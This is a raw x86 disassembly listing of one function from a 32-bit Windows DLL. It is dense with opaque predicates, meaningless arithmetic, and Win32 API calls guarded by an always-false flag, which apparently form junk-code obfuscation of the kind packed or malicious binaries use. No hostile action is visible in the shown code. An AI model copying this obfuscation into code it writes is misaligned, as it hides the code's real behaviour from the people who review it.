push 0xfffffffffffffff9
pop esi
jle 0x10030100
mov dword [ebp - 0x10], 0xc23edb39
mov dword [ebp - 0x4c], 0xadb51fd9
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x3c], 0x13633e7a
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x48], 0x2a53ebf
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002ffea
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1003003e
mov dword [ebp - 0x28], edi
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
setg cl
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0x325423b1
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfffffff8
setl al
neg eax
mov dword [ebp - 0x20], eax
je 0x1003003c
mov ecx, ebx
jmp 0x10030040
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x7b78
setg al
add eax, 5
cmp eax, dword [ebp - 0x3c]
je 0x100300dd
mov dword [ebp - 0x1c], 0x18b2
inc dword [ebp - 0x1c]
mov dword [ebp - 0x34], 0x16
jmp 0x100300d5
xor eax, eax
mov dword [ebp - 0x4c], 0xa04c7c9a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x48], eax
je 0x100300c0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add ecx, 0x7874d2d
neg ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
cmp eax, 0x32af72da
mov eax, dword [ebp - 0x1c]
setge bl
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, ebx
setle al
xor ebx, ebx
cmp dword [ebp - 0x9e4], eax
jg 0x100300bd
inc ebx
mov ecx, ebx
jmp 0x100300c2
xor eax, eax
inc ebx
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x13
jg 0x1003006a
jmp 0x100300f0
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100300ed
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [ebp - 0x48], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x1d
push 0
pop eax
jg 0x1002ffb2
mov dword [ebp - 0x44], eax
jmp 0x10030118
push dword [ebp - 0x44]
lea ecx, [ebp - 0x3a0]
call fcn.10016738
mov dword [eax], esi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10030105
push ebx
lea ecx, [ebp - 0xb80]
call fcn.10016697
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x20], 0x1c1ec2db
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x1003015c
push dword [ebp - 0x44]
lea ecx, [ebp - 0xb80]
call fcn.10016738
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1003013e
xor eax, eax
push eax
lea ecx, [ebp - 0xb80]
call fcn.10016738
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10030188
push 0x1457
push 0x4ad
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
lea ecx, [ebp - 0xb80]
mov byte [ebp - 4], 0x1f
call fcn.1001671c
xor eax, eax
lea ecx, [ebp - 0x3a0]
push eax
call fcn.10016738
mov edx, dword [ebp - 0x54]
mov esi, eax
mov ecx, dword [ebp - 0x54]
xor eax, eax
cmp edx, ecx
setle al
sub eax, dword [esi]
jne 0x100301cf
push eax
lea ecx, [ebp - 0x3a0]
call fcn.10016738
cmp dword [eax], 0
jne 0x100301cf
xor eax, eax
mov esi, eax
jmp 0x100301d3
mov esi, ebx
xor eax, eax
mov dword [ebp - 0xac], 0xf913
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x10], 0xfffffff6
push eax
call fcn.10016738
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xf4]
setg bl
xor eax, eax
push eax
call fcn.10016738
sub esi, dword [eax]
xor eax, eax
cmp esi, 0x49af
setne al
cmp eax, 0x839ca31b
mov eax, dword [ebp - 0x14]
sbb edx, edx
add eax, ebx
inc edx
xor ecx, ecx
cmp eax, edx
setne cl
add ecx, 0xf913
mov dword [ebp - 0x54], ecx
je 0x10030331
mov dword [ebp - 0x38], 0xac8b13ec
lea ecx, [ebp - 0xa24]
push 9
mov dword [ebp - 0x38], 0xfffffff6
xor ebx, ebx
pop eax
mov dword [ebp - 0x38], eax
inc ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x30], ebx
push ebx
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10030290
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1204], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10030277
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100302b6
push dword [ebp - 0x28]
lea ecx, [ebp - 0xa24]
call fcn.10016738
mov dword [eax], 0x5e790e86
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10030298
xor eax, eax
push eax
lea ecx, [ebp - 0xa24]
call fcn.10016738
dec dword [eax]
xor eax, eax
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x100302db
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jne 0x100302db
dec dword [ebp - 0x30]
jns 0x100302ce
lea ecx, [ebp - 0xa24]
mov byte [ebp - 4], 0x1f
call fcn.1001671c
xor eax, eax
lea ecx, [ebp - 0x3a0]
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x100304a4
lea ecx, [ebp - 0x3a0]
call fcn.1001671c
lea ecx, [ebp - 0xf4]
mov dword [ebp - 4], edi
call fcn.1001671c
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadLocale]
xor eax, eax
mov dword [ebp - 0x10], 0x8a61928c
mov dword [ebp - 0x10], eax
jmp 0x100307c9
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x818]
mov dword [ebp - 0x34], edi
xor ebx, ebx
mov dword [ebp - 0x24], 0xfffffff6
inc ebx
mov dword [ebp - 0x2c], 0xfe511bd7
mov dword [ebp - 0x20], 0x9fc22f74
mov dword [ebp - 0x3c], ebx
push 3
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x44], eax
jmp 0x10030384
push dword [ebp - 0x44]
lea ecx, [ebp - 0x818]
call fcn.10016738
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1003036d
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
je 0x100303d8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
push 9
pop ecx
sub eax, ecx
neg eax
sbb eax, eax
add eax, 0x8cda2ae8
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffff
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], eax
je 0x100303d4
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100303da
mov edx, ebx
jmp 0x100303dc
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 0xe
jl 0x1003048c
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 0xba4fdaf0
cmp dword [ebp - 0x1c], eax
je 0x10030511
mov dword [ebp - 0x48], 0xf08700d3
mov dword [ebp - 0x30], 0xa7fcc65a
mov dword [ebp - 0x4c], 0x49f0dc4b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 8
jne 0x1003047f
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x24], 0xb7a1
jge 0x1003046c
cmp dword [ebp - 0x34], eax
jne 0x10030458
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x30]
jl 0x10030455
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
dec eax
add eax, ecx
je 0x1003046e
mov eax, ebx
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 8
push 0
pop eax
je 0x10030429
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xe
jge 0x100303f8
lea ecx, [ebp - 0x818]
mov byte [ebp - 4], 0x1f
call fcn.1001671c
push 6
pop eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x30], 0x7ddc85f7
lea ecx, [ebp - 0x3b0]
push 2
call fcn.10016697
mov byte [ebp - 4], 0x25
xor eax, eax
mov dword [ebp - 0x20], 0xdc6f79b3
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x100304ed
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3b0]
call fcn.10016738
and dword [eax], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x100304d1
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10030509
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x768], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100304f5
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10030776
mov dword [ebp - 0x44], 0x18e1
mov dword [ebp - 0x2c], 0xf726845d
cmp dword [ebp - 0x1c], eax
je 0x10030592
dec dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setl bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor eax, eax
cmp ecx, 0x6fa7
mov ecx, 0xfffc
setg al
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sbb edx, edx
add edx, 0xccca5fd7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
cmp ecx, 0xb1a6906e
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x1003058d
xor eax, eax
xor ebx, ebx
cmp dword [ebp - 0x20], eax
je 0x1003058f
inc ebx
mov ecx, ebx
jmp 0x10030594
xor ebx, ebx
xor eax, eax
inc ebx
mov ecx, eax
xor eax, eax
cmp ecx, ebx
setne al
imul eax, eax, 0xd0f1
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1a
jg 0x1003047d
push ebx
lea ecx, [ebp - 0x4b0]
call fcn.10016697
mov byte [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x100305ea
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4b0]
call fcn.10016738
mov dword [eax], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x100305d0
xor eax, eax
push eax
lea ecx, [ebp - 0x4b0]
call fcn.10016738
mov esi, eax
lea ecx, [ebp - 0x4b0]
xor eax, eax
push eax
call fcn.10016738
mov ecx, dword [esi]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
add eax, ecx
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
call fcn.10016738
cmp dword [eax], 0
jne 0x1003062e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x4c], eax
je 0x10030630
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
add ecx, dword [ebp - 0x30]
imul ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, edi
jg 0x10030667
xor eax, eax
lea ecx, [ebp - 0x818]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x818]
push 2
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0x4b0]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
lea ecx, [ebp - 0x4b0]
setg dl
mov dword [ebp - 0x30], edx
mov byte [ebp - 4], 0x23
call fcn.1001671c
inc dword [ebp - 0x2c]
jmp 0x100305a9
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10030773
mov dword [ebp - 0x20], edi
lea ecx, [ebp - 0x3b0]
push dword [ebp - 0x28]
call fcn.10016738
cmp dword [eax], 0x19c9214a
jle 0x1003072a
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3b0]
call fcn.10016738
mov eax, dword [ebp - 0x28]
push 6
add eax, 0x1cd43096
pop ecx
cmp ecx, eax
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setg cl
mov dword [ebp - 0x768], ecx
lea ecx, [ebp - 0x3b0]
push dword [ebp - 0x28]
call fcn.10016738
mov eax, dword [ebp - 0x28]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3b0]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x3b0]
xor eax, eax
push eax
call fcn.10016738
mov ecx, 0x5a2e712c
sub ecx, dword [eax]
cmp ecx, ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100306ce
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 8
jle 0x100306bb
lea ecx, [ebp - 0x3b0]
call fcn.1001671c
xor eax, eax
lea ecx, [ebp - 0x3a0]
cmp dword [ebp - 0x10], eax
jne 0x10030307
push 9
pop eax
mov byte [ebp - 4], al
call fcn.1001671c
inc dword [ebp - 0x14]
push 9
pop eax
cmp dword [ebp - 0x14], eax
je 0x1002fe9a
jmp 0x1003030c
cmp byte [ebp - 0x3d], 0
je 0x100307c6
push eax
call edi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
mov byte [ebp - 0x3d], al
jl 0x100307bb
cmp byte [ebp - 0x3d], 0
mov esi, dword [sym.imp.USER32.dll_SetDlgItemInt]
je 0x100307f4
push eax
push 0x1c64
push 0x35b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x20], 0xb80ebbd4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x11
jl 0x10030865
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0x1f1eb32a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0xffff
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
push 0
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jge 0x10030812
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10030877
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100308a2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x10], 0x1a
cmp dword [ebp - 0x10], 0xe
jl 0x100308c3
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jne 0x100308c3
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xe
jge 0x100308b2
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x20], 0xb80ebbd4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x11
jl 0x10030934
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0x1f1eb32a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0xffff
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
push 0
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jge 0x100308e1
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10030946
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov dword [ebp - 0x10], 0x8a61928c
mov dword [ebp - 0x10], eax
jmp 0x10030960
cmp byte [ebp - 0x3d], 0
je 0x1003095d
push eax
call edi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
mov byte [ebp - 0x3d], al
jl 0x10030952
cmp byte [ebp - 0x3d], 0
je 0x10030983
push eax
push 0x1c64
push 0x35b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
mov dword [ebp - 0x48], 0x81ce
lea ecx, [ebp - 0xe50]
mov dword [ebp - 0x38], 0xffffffff
xor esi, esi
mov dword [ebp - 0x30], 5
inc esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x3c], 0xd6a5
mov dword [ebp - 0x38], 0x7507af9c
push esi
call fcn.10016697
mov dword [ebp - 4], 0x26
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x10], eax
jmp 0x100309e4
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe50]
call fcn.10016738
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100309cd
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x20], eax
je 0x10030a1b
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10030a1b
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10030a8f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x10030a8f
push esi
lea ecx, [ebp - 0xd40]
call fcn.10016697
mov byte [ebp - 4], 0x27
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x38], 0x88a01932
mov dword [ebp - 0x38], 0x35b68906
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030a65
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd40]
call fcn.10016738
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030a4a
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10030a7b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x12f4], 0xa5616d21
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10030a6a
inc dword [ebp - 0x4c]
lea ecx, [ebp - 0xd40]
call fcn.1001671c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe50]
call fcn.1001671c
push 3
lea ecx, [ebp - 0x5b8]
call fcn.10016697
xor eax, eax
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10030ad6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030abd
mov dword [ebp - 0x14], eax
jmp 0x10030af2